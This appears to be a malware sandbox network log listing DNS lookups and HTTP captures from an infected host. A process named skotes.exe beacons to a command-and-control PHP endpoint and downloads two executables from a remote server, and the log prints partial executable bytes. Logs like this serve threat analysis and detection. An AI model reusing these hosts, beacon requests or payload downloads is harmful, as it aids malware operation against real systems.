Dec 18, 2024 17:08:16.252054930 CET	1.1.1.1	192.168.2.4	0xa489	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:30.054780006 CET	1.1.1.1	192.168.2.4	0xa90b	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:30.054780006 CET	1.1.1.1	192.168.2.4	0xa90b	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:36.638499022 CET	1.1.1.1	192.168.2.4	0xd21e	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.329344034 CET	1.1.1.1	192.168.2.4	0xd9ec	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.650840044 CET	1.1.1.1	192.168.2.4	0xd139	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.650840044 CET	1.1.1.1	192.168.2.4	0xd139	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:39.938601971 CET	1.1.1.1	192.168.2.4	0x48a4	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:08:54.026710033 CET	1.1.1.1	192.168.2.4	0xa864	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:01.349567890 CET	1.1.1.1	192.168.2.4	0x4efa	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:04.337980032 CET	1.1.1.1	192.168.2.4	0xabe6	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:04.338462114 CET	1.1.1.1	192.168.2.4	0x165b	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 17:09:04.562505960 CET	1.1.1.1	192.168.2.4	0x1769	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:07.547370911 CET	1.1.1.1	192.168.2.4	0xfee9	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:07.552910089 CET	1.1.1.1	192.168.2.4	0xcdb7	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:07.885771036 CET	1.1.1.1	192.168.2.4	0xc10	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:15.589665890 CET	1.1.1.1	192.168.2.4	0x810a	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:15.589665890 CET	1.1.1.1	192.168.2.4	0x810a	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.601516962 CET	1.1.1.1	192.168.2.4	0x1906	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 17:09:18.601516962 CET	1.1.1.1	192.168.2.4	0x1906	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.604682922 CET	1.1.1.1	192.168.2.4	0x7302	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.742187977 CET	1.1.1.1	192.168.2.4	0x8b1a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.745790958 CET	1.1.1.1	192.168.2.4	0xef63	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:18.882889986 CET	1.1.1.1	192.168.2.4	0xedbe	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 18, 2024 17:09:18.884675980 CET	1.1.1.1	192.168.2.4	0x333c	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 18, 2024 17:09:29.646481991 CET	1.1.1.1	192.168.2.4	0xb450	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 17:09:29.646481991 CET	1.1.1.1	192.168.2.4	0xb450	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:31.718332052 CET	1.1.1.1	192.168.2.4	0x5ccc	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:45.886888981 CET	1.1.1.1	192.168.2.4	0x3974	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:45.887000084 CET	1.1.1.1	192.168.2.4	0x3974	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:46.045533895 CET	1.1.1.1	192.168.2.4	0x9acd	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:46.045964003 CET	1.1.1.1	192.168.2.4	0x9acd	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:46.209949970 CET	1.1.1.1	192.168.2.4	0x8ee3	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.074455976 CET	1.1.1.1	192.168.2.4	0x2c2c	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.074460983 CET	1.1.1.1	192.168.2.4	0x2c2c	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.074461937 CET	1.1.1.1	192.168.2.4	0x2c2c	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.199763060 CET	1.1.1.1	192.168.2.4	0x4d73	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.199773073 CET	1.1.1.1	192.168.2.4	0x4d73	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.199887037 CET	1.1.1.1	192.168.2.4	0x4d73	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.460572958 CET	1.1.1.1	192.168.2.4	0x525b	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.460602045 CET	1.1.1.1	192.168.2.4	0x525b	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 17:09:49.460699081 CET	1.1.1.1	192.168.2.4	0x525b	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:03.845320940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 17:08:05.213818073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49743	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:06.843209028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 18, 2024 17:08:08.238466978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 31 64 0d 0a 20 3c 63 3e 31 30 31 36 39 36 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 36 39 36 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 39 36 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 39 36 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 [TRUNCATED] Data Ascii: 41d <c>1016964001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1016965001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016966001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016967001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016968001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016969001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016970001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016971001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016972001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1016973001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016974001+++b5937c1a99d5f9dd0246b5cb4f652242 [TRUNCATED]
Dec 18, 2024 17:08:08.238590956 CET	8	IN	Data Raw: 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: >0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49749	31.41.244.11	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:08.365999937 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 17:08:09.707436085 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:09 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 18, 2024 17:08:09.707511902 CET	224	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00
Dec 18, 2024 17:08:09.707597971 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: 0".**********(00G0**
Dec 18, 2024 17:08:09.707856894 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 18, 2024 17:08:09.707892895 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 72 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: *0r0****************(******
Dec 18, 2024 17:08:09.708323002 CET	1236	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*0~(* "($sS8******00*0
Dec 18, 2024 17:08:09.708358049 CET	896	IN	Data Raw: 17 2a 00 00 00 12 00 00 00 2a 00 00 00 7e 28 2a 0c 00 06 38 01 00 00 00 2a 28 66 02 00 06 28 67 02 00 06 80 80 00 00 04 38 eb ff ff ff 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a Data Ascii: *~(8(f(g8*******"00*("****0
Dec 18, 2024 17:08:09.708697081 CET	1236	IN	Data Raw: 00 0d 00 00 00 00 00 00 00 02 00 00 00 1e 00 00 00 19 01 00 00 37 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 02 00 00 00 13 00 00 00 86 01 00 00 99 01 00 00 0d 00 00 00 00 00 00 00 13 30 04 00 d7 Data Ascii: 70A0<(8E^N28Y :&8 8sb 9&8: 88
Dec 18, 2024 17:08:09.708749056 CET	1236	IN	Data Raw: 00 00 00 00 2a 01 10 00 00 02 00 1f 00 5e 7d 00 0d 00 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 07 00 04 00 00 00 00 00 00 00 00 Data Ascii: ^}00**00****(0000****
Dec 18, 2024 17:08:09.708786011 CET	1236	IN	Data Raw: 00 00 04 80 e6 00 00 04 20 06 00 00 00 38 8e ff ff ff 19 8d 9f 00 00 01 25 d0 ae 03 00 04 28 c0 01 00 0a 80 e8 00 00 04 20 04 00 00 00 38 6e ff ff ff 11 01 16 1f 2e 9d 20 03 00 00 00 38 5e ff ff ff 18 8d 9f 00 00 01 13 01 20 05 00 00 00 38 4c ff Data Ascii: 8%( 8n. 8^ 8L8sV80**************
Dec 18, 2024 17:08:09.827553988 CET	1236	IN	Data Raw: 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 05 00 00 00 2b 00 00 00 14 00 00 00 15 00 00 00 38 00 00 00 00 Data Ascii: 00(* 8E+88A 8sV8 ~9 :& 8~ :&80******

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49768	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:17.393719912 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016964001&unit=246122658369
Dec 18, 2024 17:08:18.689502001 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49771	31.41.244.11	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:18.812819004 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 17:08:20.143728971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:19 GMT Content-Type: application/octet-stream Content-Length: 4441600 Last-Modified: Wed, 18 Dec 2024 15:19:38 GMT Connection: keep-alive ETag: "6762e80a-43c600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 00 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 b5 00 00 04 00 00 c6 0a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 e8 b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 e8 b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@0D@ _asap pa>(@.rsrcaN(@.idata aP(@ 8aR(@zsoqbvfvPLT(@mzkcudvkC@.taggant0"C@
Dec 18, 2024 17:08:20.143755913 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:20.143986940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:20.144187927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:20.144210100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:20.144582987 CET	1236	IN	Data Raw: 41 13 3f 94 23 e1 7a 45 2a df a9 eb dd b0 48 3f 9e e8 28 93 b1 1f 2c f5 1f b8 1f 78 27 42 69 d1 43 32 48 e0 e7 47 eb c1 0b 4f 80 6a d9 8a 11 63 90 61 81 d3 26 c2 d4 59 c0 45 b8 63 fd 43 3b 50 7d a7 c9 02 56 37 eb cc 3f 6b d3 19 f6 a0 28 02 d8 c5 Data Ascii: A?#zEH?(,x'BiC2HGOjca&YEcC;P}V7?k(U&gAuy7^1VL+YW7[@7qNBEB8X~'^m%u`b5Ib@"A>(h9yM#W9_lzIjG?]DcVmfGq9h
Dec 18, 2024 17:08:20.144861937 CET	896	IN	Data Raw: 3a cb ad ea 5f c7 29 41 10 77 fa 65 17 2a 25 19 78 d2 37 dc 7d e0 af e8 17 de 35 79 5e b2 89 8b 82 16 71 48 e1 cd 80 05 b9 cf 55 70 37 31 69 48 71 73 ea 7b ae 91 98 a1 35 a7 e7 3e bb c7 b1 16 ab d2 87 92 6e 85 07 e2 fb 67 2d 71 d8 26 30 75 29 9e Data Ascii: :_)Awe*%x7}5y^qHUp71iHqs{5>ng-q&0u)Ao%NJq;[Um+Fy%WQZd /C]i3pp2u'Z5eoQ?5j?>,=/$][}CX=c-S:(il0uFqsRJwo
Dec 18, 2024 17:08:20.144876957 CET	1236	IN	Data Raw: 8e c8 7a 57 0e 0e bd a1 3a 1c 64 63 33 ed cc d7 ec df 4d dc df 95 9d 67 9c c3 8e c2 81 bf a8 cc ae 90 f2 f6 93 99 c5 7d e3 6b 48 4d 4a d6 35 d5 cc c4 24 8b 29 4b 4d e0 50 e8 82 28 91 37 4d f9 d3 f3 c5 aa fa de a5 5b bc f3 a9 6a 3e 93 cf 47 b9 53 Data Ascii: zW:dc3Mg}kHMJ5$)KMP(7M[j>GSeKpkwbGrlkn\aA}Q&@[1fsFTOrYr04Z)7M*WRn7]?qPh@Y:2Ay0X,42;-LUG~tX,asaM$
Dec 18, 2024 17:08:20.144892931 CET	1236	IN	Data Raw: ac 5f 81 c3 f8 a7 48 c0 81 5a 65 af 5d ab b3 b9 25 10 83 06 eb de 85 3d d7 23 49 77 47 47 c7 00 9c c3 49 b7 de 6d 8e 9c 4b a0 c7 06 7b 17 8c e4 39 3f b1 8a dd 5a 24 7b c7 d2 7c 0f df eb 16 e6 b5 f6 e3 e7 40 85 e9 e3 2f 4d fb fb 3f c6 26 d9 8c 88 Data Ascii: _HZe]%=#IwGGImK{9?Z${\|@/M?&b,$]J8l6AaI-!1*Uit\e_n7SU:@idiY:"?]Wf=8e95yVG6I2t :EKKUpqyK8i1
Dec 18, 2024 17:08:20.145555019 CET	1236	IN	Data Raw: 8b 51 d0 bc b0 fe 99 a5 97 95 90 04 33 ca 18 58 34 90 cb 71 92 14 b1 4f b1 69 37 53 00 2c a2 e9 ed 10 99 02 9f d0 ae 15 c3 3a 07 7b 0a 5a dc 75 2a 08 11 23 6f b3 6a 91 a2 dc 89 c1 60 58 1c eb 0a 8c 05 f3 2f d6 c3 9c 08 9b 05 93 4c 41 16 94 ab 81 Data Ascii: Q3X4qOi7S,:{Zu*#oj`X/LAo\|+Wh-gFWC^$%s$s33lc^JD87"bJ<ZyZQesX` i!dX9,^ef^5in$6$
Dec 18, 2024 17:08:20.263381958 CET	1236	IN	Data Raw: 7d d2 d5 5e 71 d2 f7 d8 dd 91 21 bf 12 de e1 d2 4f 0c 12 08 55 af 41 2d 9a 6d 9c 29 65 e7 49 ab 43 f6 db 5f 86 55 b3 d9 ac b3 b7 d1 a4 36 93 32 45 ab a8 94 59 aa 0b c8 63 a8 a8 6f 4f f6 10 79 ba cf 77 15 fb f7 22 2e dc c4 d4 5e fe e7 79 17 7d 6f Data Ascii: }^q!OUA-m)eIC_U62EYcoOyw".^y}o@Y27`"M5PvqM$7zoX9m2KjYqPk>Jggm3[z8W,CZYm,E;p}5BSPl:)Wq&GLo*h%pL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49794	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:29.856129885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016965001&unit=246122658369
Dec 18, 2024 17:08:31.199476957 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

